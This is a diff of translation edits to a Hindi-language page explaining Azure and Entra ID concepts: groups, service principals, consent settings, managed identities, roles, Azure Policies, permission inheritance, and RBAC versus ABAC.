हैं** @@ -120,22 +120,22 @@ Entra Domain Services Entra ID की क्षमताओं को बढ़ ### **Groups** -यहाँ **2 प्रकार के समूह** हैं: +यहां **2 प्रकार के समूह** हैं: - **सुरक्षा**: इस प्रकार के समूह का उपयोग सदस्यों को अनुप्रयोगों, संसाधनों तक पहुंच देने और लाइसेंस असाइन करने के लिए किया जाता है। उपयोगकर्ता, उपकरण, सेवा प्रमुख और अन्य समूह सदस्य हो सकते हैं। - **Microsoft 365**: इस प्रकार के समूह का उपयोग सहयोग के लिए किया जाता है, सदस्यों को एक साझा मेलबॉक्स, कैलेंडर, फ़ाइलें, SharePoint साइट, आदि तक पहुंच प्रदान करता है। समूह के सदस्य केवल उपयोगकर्ता हो सकते हैं। - इसका एक **ईमेल पता** होगा जो EntraID टेनेट के डोमेन के साथ होगा। -यहाँ **2 प्रकार की सदस्यताएँ** हैं: +यहां **2 प्रकार की सदस्यताएँ** हैं: - **नियुक्त**: एक समूह में विशिष्ट सदस्यों को मैन्युअल रूप से जोड़ने की अनुमति देता है। - **डायनामिक सदस्यता**: नियमों का उपयोग करके सदस्यता को स्वचालित रूप से प्रबंधित करता है, जब सदस्यों के गुण बदलते हैं तो समूह में समावेश को अपडेट करता है। ### **Service Principals** -एक **Service Principal** एक **पहचान** है जो **अनुप्रयोगों**, होस्टेड सेवाओं, और स्वचालित उपकरणों के साथ Azure संसाधनों तक पहुंच के लिए **उपयोग** के लिए बनाई गई है। यह पहुंच **सेवा प्रमुख को असाइन की गई भूमिकाओं द्वारा प्रतिबंधित** होती है, जिससे आपको **कौन से संसाधनों तक पहुंच प्राप्त है** और किस स्तर पर नियंत्रण मिलता है। सुरक्षा कारणों से, हमेशा अनुशंसा की जाती है कि **स्वचालित उपकरणों के साथ सेवा प्रमुखों का उपयोग करें** बजाय कि उन्हें उपयोगकर्ता पहचान के साथ लॉगिन करने की अनुमति दें। +एक **Service Principal** एक **पहचान** है जो **अनुप्रयोगों**, होस्टेड सेवाओं, और स्वचालित उपकरणों के साथ Azure संसाधनों तक पहुंच के लिए बनाई गई है। यह पहुंच **सेवा प्रमुख को असाइन की गई भूमिकाओं द्वारा प्रतिबंधित** होती है, जिससे आपको **कौन से संसाधनों तक पहुंचा जा सकता है** और किस स्तर पर नियंत्रण मिलता है। सुरक्षा कारणों से, हमेशा अनुशंसा की जाती है कि **स्वचालित उपकरणों के साथ सेवा प्रमुखों का उपयोग करें** बजाय कि उन्हें उपयोगकर्ता पहचान के साथ लॉगिन करने की अनुमति दें। -यह **सेवा प्रमुख के रूप में सीधे लॉगिन करना संभव है** एक **गुप्त** (पासवर्ड), एक **प्रमाणपत्र**, या तीसरे पक्ष के प्लेटफार्मों (जैसे Github Actions) के लिए **संघीय** पहुंच प्रदान करके। +आप **सेवा प्रमुख के रूप में सीधे लॉगिन** कर सकते हैं, इसके लिए एक **गुप्त** (पासवर्ड), एक **प्रमाणपत्र**, या तीसरे पक्ष के प्लेटफार्मों (जैसे Github Actions) के लिए **संघीय** पहुंच प्रदान करके। - यदि आप **पासवर्ड** प्रमाणीकरण चुनते हैं (डिफ़ॉल्ट), तो **उत्पन्न पासवर्ड को सहेजें** क्योंकि आप इसे फिर से एक्सेस नहीं कर पाएंगे। - यदि आप प्रमाणपत्र प्रमाणीकरण चुनते हैं, तो सुनिश्चित करें कि **अनुप्रयोग के पास निजी कुंजी पर पहुंच होगी**। @@ -148,12 +148,12 @@ Entra Domain Services Entra ID की क्षमताओं को बढ़ 1. **अनुप्रयोग ID (Client ID):** Azure AD में आपके ऐप के लिए एक अद्वितीय पहचानकर्ता। 2. **Redirect URIs:** URLs जहां Azure AD प्रमाणीकरण प्रतिक्रियाएँ भेजता है। -3. **प्रमाणपत्र, गुप्त और संघीय क्रेडेंशियल्स:** यह संभव है कि एक गुप्त या प्रमाणपत्र उत्पन्न किया जाए ताकि अनुप्रयोग के सेवा प्रमुख के रूप में लॉगिन किया जा सके, या इसके लिए संघीय पहुंच प्रदान की जा सके (जैसे Github Actions)। -1. यदि एक **प्रमाणपत्र** या **गुप्त** उत्पन्न किया जाता है, तो यह संभव है कि एक व्यक्ति **CLI उपकरणों के साथ सेवा प्रमुख के रूप में लॉगिन करे** यह जानकर कि **अनुप्रयोग ID**, **गुप्त** या **प्रमाणपत्र** और **टेनेट** (डोमेन या ID) क्या है। +3. **प्रमाणपत्र, गुप्त और संघीय क्रेडेंशियल्स:** सेवा प्रमुख के रूप में लॉगिन करने के लिए एक गुप्त या प्रमाणपत्र उत्पन्न करना संभव है, या इसके लिए संघीय पहुंच प्रदान करना (जैसे Github Actions)। +1. यदि एक **प्रमाणपत्र** या **गुप्त** उत्पन्न किया जाता है, तो किसी व्यक्ति के लिए **CLI उपकरणों के साथ सेवा प्रमुख के रूप में लॉगिन करना संभव है** यदि वह **अनुप्रयोग ID**, **गुप्त** या **प्रमाणपत्र** और **टेनेट** (डोमेन या ID) को जानता है। 4. **API Permissions:** निर्दिष्ट करता है कि ऐप किन संसाधनों या APIs तक पहुंच सकता है। 5. **Authentication Settings:** ऐप के समर्थित प्रमाणीकरण प्रवाह को परिभाषित करता है (जैसे, OAuth2, OpenID Connect)। -6. **Service Principal**: एक सेवा प्रमुख तब बनाया जाता है जब एक ऐप बनाया जाता है (यदि इसे वेब कंसोल से किया गया हो) या जब इसे एक नए टेनेट में स्थापित किया जाता है। -1. **सेवा प्रमुख** सभी अनुरोधित अनुमतियाँ प्राप्त करेगा जिनके साथ इसे कॉन्फ़िगर किया गया था। +6. **Service Principal**: जब एक ऐप बनाई जाती है (यदि इसे वेब कंसोल से किया गया हो) या जब इसे एक नए टेनेट में स्थापित किया जाता है, तो एक सेवा प्रमुख बनाया जाता है। +1. **सेवा प्रमुख** सभी अनुरोधित अनुमतियाँ प्राप्त करेगा जिनसे इसे कॉन्फ़िगर किया गया था। ### Default Consent Permissions @@ -161,21 +161,21 @@ Entra Domain Services Entra ID की क्षमताओं को बढ़ - **उपयोगकर्ता सहमति की अनुमति न दें** - सभी ऐप्स के लिए एक प्रशासक की आवश्यकता होगी। -- **सत्यापित प्रकाशकों से चयनित अनुमतियों के लिए ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (अनुशंसित)** -- सभी उपयोगकर्ता "कम प्रभाव" के रूप में वर्गीकृत अनुमतियों के लिए सहमति दे सकते हैं, सत्यापित प्रकाशकों से ऐप्स के लिए या इस संगठन में पंजीकृत ऐप्स के लिए। +- **सत्यापित प्रकाशकों से ऐप्स के लिए चयनित अनुमतियों के लिए उपयोगकर्ता सहमति की अनुमति दें (अनुशंसित)** +- सभी उपयोगकर्ता "कम प्रभाव" के रूप में वर्गीकृत अनुमतियों के लिए सहमति दे सकते हैं, सत्यापित प्रकाशकों से ऐप्स या इस संगठन में पंजीकृत ऐप्स के लिए। - **डिफ़ॉल्ट** कम प्रभाव वाली अनुमतियाँ (हालांकि आपको उन्हें कम के रूप में जोड़ने के लिए स्वीकार करना होगा): - User.Read - साइन इन करें और उपयोगकर्ता प्रोफ़ाइल पढ़ें -- offline_access - डेटा तक पहुंच बनाए रखें जिसे उपयोगकर्ताओं ने इसे पहुंच प्रदान की है +- offline_access - उन डेटा तक पहुंच बनाए रखें जिनकी उपयोगकर्ताओं ने इसे पहुंच दी है - openid - उपयोगकर्ताओं को साइन इन करें - profile - उपयोगकर्ता की मूल प्रोफ़ाइल देखें - email - उपयोगकर्ता के ईमेल पते को देखें -- **ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (डिफ़ॉल्ट)** -- सभी उपयोगकर्ता किसी भी ऐप को संगठन के डेटा तक पहुंच के लिए सहमति दे सकते हैं। +- **अनुप्रयोगों के लिए उपयोगकर्ता सहमति की अनुमति दें (डिफ़ॉल्ट)** +- सभी उपयोगकर्ता किसी भी ऐप को संगठन के डेटा तक पहुंच देने के लिए सहमति दे सकते हैं। **प्रशासक सहमति अनुरोध**: डिफ़ॉल्ट **नहीं** - उपयोगकर्ता उन ऐप्स के लिए प्रशासक सहमति का अनुरोध कर सकते हैं जिनके लिए वे सहमति नहीं दे सकते -- यदि **हाँ**: यह संभव है कि उपयोगकर्ताओं, समूहों और भूमिकाओं को निर्दिष्ट किया जाए जो अनुरोधों के लिए सहमति दे सकते हैं +- यदि **हाँ**: यह संभव है कि उपयोगकर्ताओं, समूहों और भूमिकाओं को संकेतित किया जाए जो अनुरोधों पर सहमति दे सकते हैं - यह भी कॉन्फ़िगर करें कि क्या उपयोगकर्ताओं को ईमेल सूचनाएँ और समाप्ति अनुस्मारक प्राप्त होंगे ### **Managed Identity (Metadata)** @@ -184,14 +184,14 @@ Azure Active Directory में प्रबंधित पहचानें प्रबंधित पहचान के दो प्रकार हैं: -- **सिस्टम-निर्धारित**। कुछ Azure सेवाएँ आपको **सेवा उदाहरण पर सीधे प्रबंधित पहचान सक्षम करने** की अनुमति देती हैं। जब आप एक सिस्टम-निर्धारित प्रबंधित पहचान सक्षम करते हैं, तो Entra ID टेनेट में एक **सेवा प्रमुख** बनाया जाता है जो उस सब्सक्रिप्शन द्वारा विश्वसनीय होता है जहां संसाधन स्थित है। जब **संसाधन** को **हटाया** जाता है, Azure स्वचालित रूप से आपके लिए **पहचान** को **हटा** देता है। -- **उपयोगकर्ता-निर्धारित**। उपयोगकर्ताओं के लिए प्रबंधित पहचान उत्पन्न करना भी संभव है। ये एक सब्सक्रिप्शन के भीतर एक संसाधन समूह के अंदर बनाई जाती हैं और EntraID द्वारा विश्वसनीय सब्सक्रिप्शन में एक सेवा प्रमुख बनाया जाएगा। फिर, आप प्रबंधित पहचान को Azure सेवा के एक या **अधिक उदाहरणों** (कई संसाधनों) में असाइन कर सकते हैं। उपयोगकर्ता-निर्धारित प्रबंधित पहचान के लिए, **पहचान का प्रबंधन उन संसाधनों से अलग किया जाता है जो इसका उपयोग करते हैं**। +- **सिस्टम-निर्धारित**। कुछ Azure सेवाएँ आपको **सेवा उदाहरण पर सीधे प्रबंधित पहचान सक्षम करने** की अनुमति देती हैं। जब आप एक सिस्टम-निर्धारित प्रबंधित पहचान सक्षम करते हैं, तो Entra ID टेनेट में एक **सेवा प्रमुख** बनाया जाता है जो उस सदस्यता द्वारा विश्वसनीय होता है जहां संसाधन स्थित है। जब **संसाधन** को **हटाया** जाता है, तो Azure स्वचालित रूप से आपके लिए **पहचान** को **हटा** देता है। +- **उपयोगकर्ता-निर्धारित**। उपयोगकर्ताओं के लिए प्रबंधित पहचान उत्पन्न करना भी संभव है। ये एक सदस्यता के भीतर एक संसाधन समूह के अंदर बनाई जाती हैं और EntraID द्वारा विश्वसनीय सेवा प्रमुख बनाया जाएगा। फिर, आप प्रबंधित पहचान को Azure सेवा के एक या **अधिक उदाहरणों** (कई संसाधनों) में असाइन कर सकते हैं। उपयोगकर्ता-निर्धारित प्रबंधित पहचान के लिए, **पहचान का प्रबंधन उन संसाधनों से अलग किया जाता है जो इसका उपयोग करते हैं**। प्रबंधित पहचान **स्थायी क्रेडेंशियल्स** (जैसे पासवर्ड या प्रमाणपत्र) उत्पन्न नहीं करती हैं ताकि सेवा प्रमुख से जुड़े इसे एक्सेस किया जा सके। ### Enterprise Applications -यह केवल Azure में सेवा प्रमुखों को फ़िल्टर करने और जांचने के लिए एक **तालिका** है कि कौन से अनुप्रयोगों को असाइन किया गया है। +यह केवल Azure में सेवा प्रमुखों को फ़िल्टर करने और उन अनुप्रयोगों की जांच करने के लिए एक **तालिका** है जो असाइन की गई हैं। **यह "अनुप्रयोग" का एक और प्रकार नहीं है,** Azure में कोई वस्तु "Enterprise Application" नहीं है, यह केवल सेवा प्रमुखों, ऐप पंजीकरणों और प्रबंधित पहचान की जांच करने के लिए एक अमूर्तता है। @@ -204,10 +204,10 @@ Azure Active Directory में प्रबंधित पहचानें - परिदृश्य: एक कंपनी चाहती है कि क्षेत्रीय IT प्रशासक केवल अपने क्षेत्र के उपयोगकर्ताओं का प्रबंधन करें। - कार्यान्वयन: - प्रत्येक क्षेत्र के लिए प्रशासनिक इकाइयाँ बनाएं (जैसे, "उत्तरी अमेरिका AU", "यूरोप AU")। -- अपने संबंधित क्षेत्रों के उपयोगकर्ताओं के साथ AUs को भरें। -- AUs **उपयोगकर्ताओं, समूहों, या उपकरणों** को समाहित कर सकते हैं +- अपने संबंधित क्षेत्रों के उपयोगकर्ताओं के साथ AUs को Populate करें। +- AUs **उपयोगकर्ताओं, समूहों, या उपकरणों** को **धारण कर सकते हैं** - AUs **डायनामिक सदस्यताओं** का समर्थन करते हैं -- AUs **AUs को समाहित नहीं कर सकते** +- AUs **AUs को नहीं रख सकते** - प्रशासक भूमिकाएँ असाइन करें: - क्षेत्रीय IT स्टाफ को "उपयोगकर्ता प्रशासक" भूमिका दें, जो उनके क्षेत्र के AU तक सीमित हो। - परिणाम: क्षेत्रीय IT प्रशासक अपने क्षेत्र के भीतर उपयोगकर्ता खातों का प्रबंधन कर सकते हैं बिना अन्य क्षेत्रों को प्रभावित किए। @@ -217,15 +217,15 @@ Azure Active Directory में प्रबंधित पहचानें - Entra ID का प्रबंधन करने के लिए कुछ **निर्मित भूमिकाएँ** हैं जिन्हें Entra ID प्रमुखों को Entra ID का प्रबंधन करने के लिए असाइन किया जा सकता है - भूमिकाएँ देखें [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) - सबसे विशेषाधिकार प्राप्त भूमिका **ग्लोबल एडमिनिस्ट्रेटर** है -- भूमिका के विवरण में इसके **सूक्ष्म अनुमतियाँ** देखी जा सकती हैं +- भूमिका के विवरण में इसकी **सूक्ष्म अनुमतियाँ** देखी जा सकती हैं ## Roles & Permissions **भूमिकाएँ** **प्रमुखों** को **स्कोप** पर **असाइन** की जाती हैं: `principal -[HAS ROLE]->(scope)` -**भूमिकाएँ** समूहों को असाइन की जाती हैं और समूह के सभी **सदस्यों** द्वारा **विरासत में** प्राप्त की जाती हैं। +**भूमिकाएँ** समूहों को असाइन की गई हैं और समूह के सभी **सदस्यों** द्वारा **विरासत में** ली जाती हैं। -स्कोप के आधार पर जिस पर भूमिका असाइन की गई थी, **भूमिका** को स्कोप कंटेनर के भीतर **अन्य संसाधनों** पर **विरासत में** मिल सकता है। उदाहरण के लिए, यदि उपयोगकर्ता A के पास **सब्सक्रिप्शन पर एक भूमिका** है, तो उसके पास उस **भूमिका** का अधिकार होगा सभी संसाधन समूहों पर जो सब्सक्रिप्शन के भीतर हैं और **संसाधनों** पर जो संसाधन समूह के भीतर हैं। +स्कोप के आधार पर जिस पर भूमिका असाइन की गई थी, **भूमिका** को स्कोप कंटेनर के भीतर **अन्य संसाधनों** पर **विरासत में** लिया जा सकता है। उदाहरण के लिए, यदि उपयोगकर्ता A के पास **सदस्यता पर एक भूमिका** है, तो उसके पास उस **भूमिका** का अधिकार होगा जो सदस्यता के भीतर सभी संसाधन समूहों और **संसाधनों** पर है। ### **Classic Roles** @@ -237,27 +237,27 @@ Azure Active Directory में प्रबंधित पहचानें ### Built-In roles -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) में कई Azure **निर्मित भूमिकाएँ** हैं जिन्हें आप **उपयोगकर्ताओं, समूहों, सेवा प्रमुखों, और प्रबंधित पहचान** को **असाइन** कर सकते हैं। भूमिका असाइनमेंट वह तरीका है जिससे आप **Azure संसाधनों तक पहुंच को नियंत्रित करते हैं**। यदि निर्मित भूमिकाएँ आपकी संगठन की विशिष्ट आवश्यकताओं को पूरा नहीं करती हैं, तो आप अपनी [**Azure कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** बना सकते हैं।** +[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) में कई Azure **निर्मित भूमिकाएँ** हैं जिन्हें आप **उपयोगकर्ताओं, समूहों, सेवा प्रमुखों, और प्रबंधित पहचान** को **असाइन** कर सकते हैं। भूमिका असाइनमेंट वह तरीका है जिससे आप **Azure संसाधनों तक पहुंच को नियंत्रित** करते हैं। यदि निर्मित भूमिकाएँ आपकी संगठन की विशिष्ट आवश्यकताओं को पूरा नहीं करती हैं, तो आप अपनी [**Azure कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** बना सकते हैं।** **निर्मित** भूमिकाएँ केवल उन **संसाधनों** पर लागू होती हैं जिनके लिए वे **निर्धारित** हैं, उदाहरण के लिए, Compute संसाधनों पर **निर्मित भूमिकाओं** के इन 2 उदाहरणों की जांच करें: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | बैकअप वॉल्ट को डिस्क बैकअप करने की अनुमति प्रदान करता है। | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | डिस्क बैकअप करने के लिए बैकअप वॉल्ट को अनुमति प्रदान करता है। | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | पोर्टल में वर्चुअल मशीनों को देखें और एक सामान्य उपयोगकर्ता के रूप में लॉगिन करें। | fb879df8-f326-4884-b1cf-06f3ad86be52 | -ये भूमिकाएँ **तार्किक कंटेनरों** (जैसे प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) पर भी असाइन की जा सकती हैं और प्रभावित प्रमुखों को **उन कंटेनरों के भीतर संसाधनों पर** अधिकार प्राप्त होंगे। +ये भूमिकाएँ **लॉजिक कंटेनरों** (जैसे प्रबंधन समूह, सदस्यताएँ और संसाधन समूह) पर भी असाइन की जा सकती हैं और प्रभावित प्रमुखों को **उन कंटेनरों के भीतर संसाधनों पर** अधिकार प्राप्त होंगे। -- यहाँ [**सभी Azure निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) की एक सूची प्राप्त करें। -- यहाँ [**सभी Entra ID निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) की एक सूची प्राप्त करें। +- यहां [**सभी Azure निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) की सूची प्राप्त करें। +- यहां [**सभी Entra ID निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) की सूची प्राप्त करें। ### Custom Roles -- यह भी संभव है कि [**कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) बनाई जाएँ -- ये एक स्कोप के भीतर बनाई जाती हैं, हालाँकि एक भूमिका कई स्कोप (प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) में हो सकती है +- [**कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) बनाना भी संभव है +- ये एक स्कोप के भीतर बनाई जाती हैं, हालाँकि एक भूमिका कई स्कोप (प्रबंधन समूह, सदस्यता और संसाधन समूह) में हो सकती है - यह संभव है कि कस्टम भूमिका के पास सभी सूक्ष्म अनुमतियों को कॉन्फ़िगर किया जाए -- यह अनुमतियों को बाहर करने की भी अनुमति देता है -- एक प्रमुख जिसके पास एक बाहर की गई अनुमति है, वह इसे उपयोग नहीं कर सकेगा भले ही अनुमति कहीं और दी जा रही हो -- यह वाइल्डकार्ड का उपयोग करने की अनुमति देता है +- अनुमतियों को बाहर करना संभव है +- एक प्रमुख जिसके पास बाहर की गई अनुमति है, वह इसे उपयोग नहीं कर सकेगा भले ही अनुमति कहीं और दी जा रही हो +- वाइल्डकार्ड का उपयोग करना संभव है - उपयोग किया गया प्रारूप JSON है - `actions` संसाधन पर नियंत्रण क्रियाओं के लिए हैं - `dataActions` वस्तु के भीतर डेटा पर अनुमतियाँ हैं @@ -295,7 +295,7 @@ Azure Active Directory में प्रबंधित पहचानें ### Permissions order - एक **principal को किसी resource पर कुछ access प्राप्त करने के लिए** उसे एक स्पष्ट भूमिका दी जानी चाहिए (किसी भी तरह से) **उसे वह अनुमति देने के लिए**। -- एक स्पष्ट **deny role assignment की प्राथमिकता होती है** उस भूमिका पर जो अनुमति देती है। +- एक स्पष्ट **deny role assignment प्राथमिकता लेता है** उस भूमिका पर जो अनुमति देती है।

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

@@ -303,34 +303,34 @@ Azure Active Directory में प्रबंधित पहचानें Global Administrator एक भूमिका है Entra ID से जो **Entra ID tenant पर पूर्ण नियंत्रण प्रदान करती है**। हालाँकि, यह डिफ़ॉल्ट रूप से Azure resources पर कोई अनुमति नहीं देती है। -Global Administrator भूमिका वाले उपयोगकर्ताओं के पास '**User Access Administrator Azure भूमिका में Root Management Group में 'elevate' करने की क्षमता है**। इसलिए Global Administrators **सभी Azure subscriptions और management groups में access प्रबंधित कर सकते हैं।**\ +Global Administrator भूमिका वाले उपयोगकर्ताओं के पास '**User Access Administrator Azure role में Elevate करने की क्षमता है Root Management Group में**। इसलिए Global Administrators **सभी Azure subscriptions और management groups में access प्रबंधित कर सकते हैं।**\ यह elevation पृष्ठ के अंत में किया जा सकता है: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Policies -**Azure Policies** नियम हैं जो संगठनों को यह सुनिश्चित करने में मदद करते हैं कि उनके resources विशिष्ट मानकों और अनुपालन आवश्यकताओं को पूरा करते हैं। वे आपको **Azure में resources पर सेटिंग्स को लागू या ऑडिट करने** की अनुमति देते हैं। उदाहरण के लिए, आप अनधिकृत क्षेत्र में वर्चुअल मशीनों के निर्माण को रोक सकते हैं या सुनिश्चित कर सकते हैं कि सभी resources के पास ट्रैकिंग के लिए विशिष्ट टैग हैं। +**Azure Policies** नियम हैं जो संगठनों को यह सुनिश्चित करने में मदद करते हैं कि उनके resources विशिष्ट मानकों और अनुपालन आवश्यकताओं को पूरा करते हैं। वे आपको **Azure में resources पर सेटिंग्स को लागू या ऑडिट करने** की अनुमति देते हैं। उदाहरण के लिए, आप अनधिकृत क्षेत्र में वर्चुअल मशीनों के निर्माण को रोक सकते हैं या सुनिश्चित कर सकते हैं कि सभी resources में ट्रैकिंग के लिए विशिष्ट टैग हों। -Azure Policies **proactive** हैं: वे अनुपालन न करने वाले resources के निर्माण या परिवर्तन को रोक सकती हैं। वे **reactive** भी हैं, जिससे आप मौजूदा अनुपालन न करने वाले resources को खोज और ठीक कर सकते हैं। +Azure Policies **proactive** हैं: वे अनुपालन न करने वाले resources के निर्माण या परिवर्तन को रोक सकती हैं। वे **reactive** भी हैं, जो आपको मौजूदा अनुपालन न करने वाले resources को खोजने और ठीक करने की अनुमति देती हैं। #### **Key Concepts** 1. **Policy Definition**: एक नियम, जो JSON में लिखा गया है, जो यह निर्दिष्ट करता है कि क्या अनुमति है या आवश्यक है। 2. **Policy Assignment**: एक नीति को एक विशिष्ट दायरे (जैसे, subscription, resource group) पर लागू करना। 3. **Initiatives**: नीतियों का एक संग्रह जो व्यापक प्रवर्तन के लिए एक साथ समूहित किया गया है। -4. **Effect**: यह निर्दिष्ट करता है कि नीति सक्रिय होने पर क्या होता है (जैसे, "Deny," "Audit," या "Append")। +4. **Effect**: निर्दिष्ट करता है कि नीति सक्रिय होने पर क्या होता है (जैसे, "Deny," "Audit," या "Append")। **कुछ उदाहरण:** 1. **विशिष्ट Azure क्षेत्रों के साथ अनुपालन सुनिश्चित करना**: यह नीति सुनिश्चित करती है कि सभी resources विशिष्ट Azure क्षेत्रों में तैनात हैं। उदाहरण के लिए, एक कंपनी यह सुनिश्चित करना चाह सकती है कि उसका सारा डेटा GDPR अनुपालन के लिए यूरोप में संग्रहीत हो। 2. **नामकरण मानकों को लागू करना**: नीतियाँ Azure resources के लिए नामकरण मानकों को लागू कर सकती हैं। यह बड़े वातावरण में resources को व्यवस्थित करने और उनके नामों के आधार पर आसानी से पहचानने में मदद करता है। 3. **कुछ resource प्रकारों को प्रतिबंधित करना**: यह नीति कुछ प्रकार के resources के निर्माण को प्रतिबंधित कर सकती है। उदाहरण के लिए, एक नीति को महंगे resource प्रकारों, जैसे कुछ VM आकारों, के निर्माण को रोकने के लिए सेट किया जा सकता है, ताकि लागत को नियंत्रित किया जा सके। -4. **टैगिंग नीतियों को लागू करना**: टैग Azure resources के साथ जुड़े कुंजी-मूल्य जोड़े होते हैं जो resource प्रबंधन के लिए उपयोग किए जाते हैं। नीतियाँ यह लागू कर सकती हैं कि सभी resources के लिए कुछ टैग मौजूद होने चाहिए, या उनके पास विशिष्ट मान होने चाहिए। यह लागत ट्रैकिंग, स्वामित्व, या resources की श्रेणीकरण के लिए उपयोगी है। -5. **resources के लिए सार्वजनिक पहुंच को सीमित करना**: नीतियाँ यह लागू कर सकती हैं कि कुछ resources, जैसे स्टोरेज खाते या डेटाबेस, के पास सार्वजनिक endpoints नहीं होने चाहिए, यह सुनिश्चित करते हुए कि वे केवल संगठन के नेटवर्क के भीतर ही सुलभ हैं। +4. **टैगिंग नीतियों को लागू करना**: टैग Azure resources के साथ जुड़े कुंजी-मूल्य जोड़े हैं जो resource प्रबंधन के लिए उपयोग किए जाते हैं। नीतियाँ यह लागू कर सकती हैं कि कुछ टैग मौजूद होने चाहिए, या सभी resources के लिए विशिष्ट मान होने चाहिए। यह लागत ट्रैकिंग, स्वामित्व, या resources की श्रेणीकरण के लिए उपयोगी है। +5. **resources के लिए सार्वजनिक पहुंच को सीमित करना**: नीतियाँ यह लागू कर सकती हैं कि कुछ resources, जैसे स्टोरेज खाते या डेटाबेस, में सार्वजनिक एंडपॉइंट नहीं होना चाहिए, यह सुनिश्चित करते हुए कि वे केवल संगठन के नेटवर्क के भीतर ही सुलभ हैं। 6. **स्वचालित रूप से सुरक्षा सेटिंग्स लागू करना**: नीतियों का उपयोग resources पर सुरक्षा सेटिंग्स को स्वचालित रूप से लागू करने के लिए किया जा सकता है, जैसे सभी VMs पर एक विशिष्ट नेटवर्क सुरक्षा समूह लागू करना या यह सुनिश्चित करना कि सभी स्टोरेज खाते एन्क्रिप्शन का उपयोग करें। -ध्यान दें कि Azure Policies को Azure की किसी भी स्तर पर जोड़ा जा सकता है, लेकिन वे **आमतौर पर root management group** या अन्य management groups में उपयोग की जाती हैं। +ध्यान दें कि Azure Policies को Azure पदानुक्रम के किसी भी स्तर पर जोड़ा जा सकता है, लेकिन ये **आमतौर पर root management group में** या अन्य प्रबंधन समूहों में उपयोग की जाती हैं। Azure policy json example: ```json @@ -350,23 +350,23 @@ Azure policy json example: "mode": "All" } ``` -### Permissions Inheritance +### अनुमतियों का उत्तराधिकार -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. +Azure में **अनुमतियाँ किसी भी भाग को सौंपा जा सकता है**। इसमें प्रबंधन समूह, सदस्यताएँ, संसाधन समूह, और व्यक्तिगत संसाधन शामिल हैं। अनुमतियाँ उस इकाई के अंतर्गत **संसाधनों** द्वारा **उत्तराधिकार** में ली जाती हैं जहाँ उन्हें सौंपा गया था। -This hierarchical structure allows for efficient and scalable management of access permissions. +यह पदानुक्रमित संरचना पहुँच अनुमतियों के प्रबंधन को कुशल और स्केलेबल बनाती है।
-### Azure RBAC vs ABAC +### Azure RBAC बनाम ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (भूमिका-आधारित पहुँच नियंत्रण) वही है जो हमने पहले के अनुभागों में देखा है: **एक संसाधन पर पहुँच देने के लिए एक प्रमुख को भूमिका सौंपना**।\ +हालांकि, कुछ मामलों में आप **अधिक बारीक पहुँच प्रबंधन** प्रदान करना चाहते हैं या **सौ** से अधिक भूमिका **सौंपने** के प्रबंधन को **सरल** करना चाहते हैं। -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (गुण-आधारित पहुँच नियंत्रण) Azure RBAC पर आधारित है, जिसमें **विशिष्ट क्रियाओं के संदर्भ में गुणों के आधार पर भूमिका सौंपने की शर्तें** जोड़ी जाती हैं। एक _भूमिका सौंपने की शर्त_ एक **अतिरिक्त जांच है जिसे आप वैकल्पिक रूप से अपनी भूमिका सौंपने में जोड़ सकते हैं** ताकि अधिक बारीक पहुँच नियंत्रण प्रदान किया जा सके। एक शर्त भूमिका परिभाषा और भूमिका सौंपने के हिस्से के रूप में दी गई अनुमतियों को फ़िल्टर करती है। उदाहरण के लिए, आप **एक शर्त जोड़ सकते हैं जो एक वस्तु को पढ़ने के लिए एक विशिष्ट टैग होने की आवश्यकता रखती है**।\ +आप **विशिष्ट संसाधनों** के लिए **शर्तों** का उपयोग करके **पहुँच** को स्पष्ट रूप से **अस्वीकृत** **नहीं** कर सकते। -## References +## संदर्भ - 